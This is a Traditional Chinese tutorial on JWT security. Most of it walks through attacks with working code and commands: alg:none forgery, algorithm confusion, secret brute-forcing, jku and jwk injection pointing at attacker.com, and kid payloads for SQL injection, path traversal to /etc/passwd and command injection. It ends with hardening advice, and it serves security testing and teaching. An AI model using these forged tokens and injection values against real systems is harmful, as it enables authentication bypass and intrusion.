JSON Web Token(JWT)是現代 Web 應用程式中廣泛使用的身份驗證機制。然而,不當的實作可能導致嚴重的安全漏洞。本文將深入探討 JWT 的常見攻擊手法與防護措施。
JWT 結構與運作原理
JWT 由三個部分組成,以點(.)分隔:
1
| Header.Payload.Signature
|
Header 通常包含兩個部分:token 類型(typ)和簽名演算法(alg)。
1
2
3
4
| {
"alg": "HS256",
"typ": "JWT"
}
|
Payload(負載)
Payload 包含聲明(claims),分為三種類型:
- Registered claims:預定義的聲明,如
iss(發行者)、exp(過期時間)、sub(主題)、aud(受眾) - Public claims:自定義的公開聲明
- Private claims:自定義的私有聲明
1
2
3
4
5
6
7
| {
"sub": "1234567890",
"name": "John Doe",
"admin": true,
"iat": 1516239022,
"exp": 1516242622
}
|
Signature(簽名)
簽名用於驗證訊息的完整性。以 HMAC SHA256 為例:
1
2
3
4
5
| HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
|
JWT 完整範例
1
| eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.POstGetfAytaZS82wHcjoTyoqhMyxXiWdR7Nn7A29ck
|
Algorithm None 攻擊
漏洞原理
某些 JWT 函式庫支援 alg: none,這意味著 token 不需要簽名驗證。攻擊者可以偽造任意 token 來繞過身份驗證。
攻擊步驟
- 解碼原始 JWT
1
2
3
4
5
6
| # 原始 token
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# 解碼 header
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# 輸出: {"alg":"HS256","typ":"JWT"}
|
- 修改 Header 為 none
1
2
3
4
| {
"alg": "none",
"typ": "JWT"
}
|
- 修改 Payload(例如提權為 admin)
1
2
3
4
5
| {
"sub": "1234567890",
"name": "John Doe",
"role": "admin"
}
|
- 建構惡意 Token
1
2
3
4
5
6
7
8
9
10
| # 編碼新的 header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'
# 輸出: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# 編碼新的 payload
echo -n '{"sub":"1234567890","name":"John Doe","role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'
# 輸出: eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIn0
# 組合惡意 token(注意末尾的點,簽名為空)
MALICIOUS_TOKEN="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIn0."
|
變體攻擊
某些函式庫對 none 的檢查可能不夠嚴謹,可嘗試以下變體:
1
2
3
| "alg": "None"
"alg": "NONE"
"alg": "nOnE"
|
Algorithm Confusion(RS256 to HS256)
漏洞原理
當伺服器使用 RS256(非對稱加密)時,會用私鑰簽名、公鑰驗證。如果伺服器存在演算法混淆漏洞,攻擊者可以:
- 取得伺服器的公鑰
- 將演算法從 RS256 改為 HS256
- 使用公鑰作為 HMAC 的密鑰簽名
由於伺服器可能使用相同的密鑰變數進行驗證,它會錯誤地將公鑰當作 HMAC 密鑰來驗證簽名。
攻擊步驟
- 取得伺服器公鑰
公鑰通常可以從以下位置取得:
1
2
3
4
| # 常見的公鑰端點
curl https://target.com/.well-known/jwks.json
curl https://target.com/api/keys
curl https://target.com/oauth/jwks
|
- 將 JWK 轉換為 PEM 格式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from jwcrypto import jwk
# JWK 公鑰
jwk_key = {
"kty": "RSA",
"n": "公鑰的 n 值",
"e": "AQAB"
}
key = jwk.JWK(**jwk_key)
pem = key.export_to_pem()
print(pem.decode())
|
- 使用公鑰簽名惡意 Token
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| import jwt
import base64
# 讀取公鑰
with open('public_key.pem', 'r') as f:
public_key = f.read()
# 構造惡意 payload
payload = {
"sub": "1234567890",
"name": "John Doe",
"role": "admin"
}
# 使用公鑰作為 HS256 的密鑰簽名
malicious_token = jwt.encode(
payload,
public_key,
algorithm='HS256'
)
print(malicious_token)
|
1
2
| # 自動化攻擊
python3 jwt_tool.py <JWT> -X k -pk public_key.pem
|
弱密鑰暴力破解
漏洞原理
當使用 HS256 等對稱加密演算法時,如果密鑰過於簡單(如常見字詞、短字串),攻擊者可以透過暴力破解取得密鑰。
使用 jwt-cracker
1
2
3
4
5
6
7
8
9
10
| # 安裝
npm install -g jwt-cracker
# 破解
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" "abcdefghijklmnopqrstuvwxyz" 6
# 參數說明:
# - 第一個參數:要破解的 JWT
# - 第二個參數:字元集
# - 第三個參數:最大長度
|
使用 hashcat
1
2
3
4
5
6
7
8
| # 提取 JWT 的 hash 格式
# JWT 格式:header.payload.signature
# 使用 hashcat 破解
hashcat -m 16500 jwt.txt wordlist.txt
# 使用規則
hashcat -m 16500 jwt.txt wordlist.txt -r rules/best64.rule
|
1
2
3
4
5
6
7
8
9
| # 字典攻擊
python3 jwt_tool.py <JWT> -C -d /path/to/wordlist.txt
# 常見弱密鑰
# secret
# password
# 123456
# jwt_secret
# changeme
|
Python 暴力破解腳本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| import jwt
import itertools
import string
def crack_jwt(token, charset, max_length):
for length in range(1, max_length + 1):
for guess in itertools.product(charset, repeat=length):
secret = ''.join(guess)
try:
jwt.decode(token, secret, algorithms=['HS256'])
return secret
except jwt.InvalidSignatureError:
continue
return None
# 使用範例
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
secret = crack_jwt(token, string.ascii_lowercase, 6)
if secret:
print(f"Found secret: {secret}")
|
JKU(JSON Web Key Set URL)注入
漏洞原理
jku header 參數指定了用於驗證簽名的公鑰 URL。如果伺服器未正確驗證此 URL,攻擊者可以指向自己的伺服器。
攻擊步驟
- 生成攻擊者的密鑰對
1
2
3
| # 生成 RSA 密鑰對
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
|
- 建立惡意 JWKS
1
2
3
4
5
6
7
8
9
10
11
| {
"keys": [
{
"kty": "RSA",
"kid": "attacker-key-1",
"use": "sig",
"n": "攻擊者公鑰的 n 值",
"e": "AQAB"
}
]
}
|
- 構造惡意 Token
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| import jwt
header = {
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/.well-known/jwks.json",
"kid": "attacker-key-1"
}
payload = {
"sub": "admin",
"role": "admin"
}
with open('attacker_private.pem', 'r') as f:
private_key = f.read()
token = jwt.encode(payload, private_key, algorithm='RS256', headers=header)
print(token)
|
JWK(JSON Web Key)嵌入攻擊
漏洞原理
某些實作允許在 JWT header 中直接嵌入公鑰(jwk 參數)。攻擊者可以嵌入自己的公鑰並用對應的私鑰簽名。
1
2
3
4
5
6
7
8
9
| {
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "攻擊者的公鑰 n",
"e": "AQAB"
}
}
|
KID(Key ID)注入
SQL 注入
1
2
3
4
5
| {
"alg": "HS256",
"typ": "JWT",
"kid": "key1' UNION SELECT 'secret' -- "
}
|
路徑遍歷
1
2
3
4
5
| {
"alg": "HS256",
"typ": "JWT",
"kid": "../../../etc/passwd"
}
|
如果伺服器使用檔案內容作為密鑰,攻擊者可以使用已知內容的檔案。
命令注入
1
2
3
4
5
| {
"alg": "HS256",
"typ": "JWT",
"kid": "key1|whoami"
}
|
過期時間繞過
漏洞原理
某些實作可能不正確驗證 exp(過期時間)聲明,或允許繞過。
攻擊方法
1. 移除 exp 聲明
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| import jwt
import base64
import json
# 解碼 token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiZXhwIjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# 移除 exp
if 'exp' in payload:
del payload['exp']
# 如果知道密鑰,重新簽名
new_token = jwt.encode(payload, 'secret', algorithm='HS256')
|
2. 設定極大的過期時間
1
2
3
4
5
| payload = {
"sub": "1234567890",
"name": "John Doe",
"exp": 9999999999 # 2286 年
}
|
3. 使用負數或零
1
2
3
4
| payload = {
"sub": "1234567890",
"exp": 0
}
|
NBF(Not Before)繞過
類似地,nbf 聲明也可能被繞過:
1
2
3
4
5
| payload = {
"sub": "1234567890",
"nbf": 0, # 設為過去的時間
"exp": 9999999999
}
|
測試工具
jwt_tool 是一個功能強大的 JWT 測試工具,支援多種攻擊向量。
安裝
1
2
3
| git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt
|
基本用法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| # 解碼並顯示 token
python3 jwt_tool.py <JWT>
# 篡改 payload
python3 jwt_tool.py <JWT> -T
# Algorithm None 攻擊
python3 jwt_tool.py <JWT> -X a
# 密鑰爆破
python3 jwt_tool.py <JWT> -C -d wordlist.txt
# 演算法混淆攻擊
python3 jwt_tool.py <JWT> -X k -pk public_key.pem
# JKU 注入
python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwks.json"
# 嵌入 JWK
python3 jwt_tool.py <JWT> -X i
# KID 注入
python3 jwt_tool.py <JWT> -X k -pk /dev/null
# 完整掃描
python3 jwt_tool.py <JWT> -M at -t "https://target.com/api/endpoint" -rh "Authorization: Bearer"
|
進階選項
1
2
3
4
5
6
7
8
| # 指定簽名密鑰
python3 jwt_tool.py <JWT> -S hs256 -p "secret"
# 修改特定聲明
python3 jwt_tool.py <JWT> -I -pc "role" -pv "admin"
# 使用代理
python3 jwt_tool.py <JWT> -M at -t "https://target.com" -np http://127.0.0.1:8080
|
jwt-cracker
專門用於暴力破解 JWT 密鑰的工具。
安裝
1
| npm install -g jwt-cracker
|
使用方法
1
2
3
4
5
6
7
8
9
10
11
| # 基本用法
jwt-cracker <token> [alphabet] [max-length]
# 範例:使用小寫字母,最大長度 6
jwt-cracker "eyJhbGc..." "abcdefghijklmnopqrstuvwxyz" 6
# 範例:使用數字
jwt-cracker "eyJhbGc..." "0123456789" 8
# 範例:完整字元集
jwt-cracker "eyJhbGc..." "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 6
|
線上工具
- jwt.io:JWT 編碼/解碼與驗證
- token.dev:JWT 分析與測試
Burp Suite 擴充套件
1
2
| # JSON Web Tokens (JWT4B)
# 可在 BApp Store 中安裝
|
安全實作建議
1. 使用強密鑰
1
2
3
4
5
6
7
| import secrets
# 生成安全的隨機密鑰(至少 256 位元)
secret_key = secrets.token_hex(32) # 64 字元的十六進位字串
# 對於 RSA,使用至少 2048 位元
openssl genrsa -out private_key.pem 4096
|
2. 強制驗證演算法
1
2
3
4
5
6
7
8
9
10
11
| import jwt
# 不要這樣做 - 容易受到演算法混淆攻擊
# decoded = jwt.decode(token, key)
# 正確做法 - 明確指定允許的演算法
decoded = jwt.decode(
token,
key,
algorithms=['RS256'] # 只允許特定演算法
)
|
3. 驗證所有聲明
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| import jwt
from datetime import datetime, timezone
decoded = jwt.decode(
token,
key,
algorithms=['RS256'],
options={
'require': ['exp', 'iat', 'iss', 'sub'], # 要求必須存在的聲明
'verify_exp': True,
'verify_iat': True,
'verify_nbf': True
},
issuer='https://your-domain.com', # 驗證發行者
audience='your-audience' # 驗證受眾
)
|
4. 設定適當的過期時間
1
2
3
4
5
6
7
8
| from datetime import datetime, timedelta, timezone
payload = {
'sub': user_id,
'iat': datetime.now(timezone.utc),
'exp': datetime.now(timezone.utc) + timedelta(hours=1), # 短期有效
'jti': str(uuid.uuid4()) # 唯一識別符,防止重放
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 不要信任 header 中的任何 URL(jku, x5u)
# 使用預設的本地密鑰
# 如果必須使用 jku,驗證 URL 白名單
ALLOWED_JKU_HOSTS = ['auth.your-domain.com']
def validate_jku(jku_url):
from urllib.parse import urlparse
parsed = urlparse(jku_url)
if parsed.hostname not in ALLOWED_JKU_HOSTS:
raise ValueError("Invalid JKU host")
if parsed.scheme != 'https':
raise ValueError("JKU must use HTTPS")
|
6. 使用適當的函式庫
1
2
3
4
5
6
7
| # Python - PyJWT(確保使用最新版本)
pip install PyJWT>=2.0.0
# Node.js - jose
npm install jose
# 避免使用已知有漏洞的函式庫版本
|
7. 實施 Token 撤銷機制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| import redis
# 使用 Redis 儲存已撤銷的 token
redis_client = redis.Redis(host='localhost', port=6379, db=0)
def revoke_token(jti, exp):
"""撤銷 token"""
ttl = exp - datetime.now(timezone.utc).timestamp()
if ttl > 0:
redis_client.setex(f"revoked:{jti}", int(ttl), "1")
def is_token_revoked(jti):
"""檢查 token 是否已被撤銷"""
return redis_client.exists(f"revoked:{jti}")
|
8. 安全的錯誤處理
1
2
3
4
5
6
7
8
9
| import jwt
try:
decoded = jwt.decode(token, key, algorithms=['RS256'])
except jwt.ExpiredSignatureError:
# 不要洩露具體錯誤訊息
return {"error": "Token is invalid"}, 401
except jwt.InvalidTokenError:
return {"error": "Token is invalid"}, 401
|
9. 使用 HTTPS
確保所有包含 JWT 的請求都通過 HTTPS 傳輸,防止中間人攻擊。
10. 考慮使用 JWE(JSON Web Encryption)
對於敏感資料,使用 JWE 進行加密:
1
2
3
4
5
6
7
8
9
| from jose import jwe
# 加密 token
encrypted = jwe.encrypt(
payload.encode(),
key,
algorithm='RSA-OAEP-256',
encryption='A256GCM'
)
|
總結
JWT 安全性取決於正確的實作。主要防護重點:
| 攻擊類型 | 防護措施 |
|---|
| Algorithm None | 明確指定允許的演算法,禁用 none |
| Algorithm Confusion | 分開管理對稱/非對稱密鑰,驗證演算法類型 |
| 弱密鑰破解 | 使用強隨機密鑰(>256 位元) |
| Header 注入 | 不信任 header 中的 URL,驗證白名單 |
| 過期時間繞過 | 強制驗證 exp,使用短期 token |
進行安全測試時,建議使用 jwt_tool 進行全面的漏洞掃描,並結合手動測試驗證結果。在開發階段,遵循安全編碼實踐,選擇成熟的 JWT 函式庫,並保持更新以修補已知漏洞。
參考資源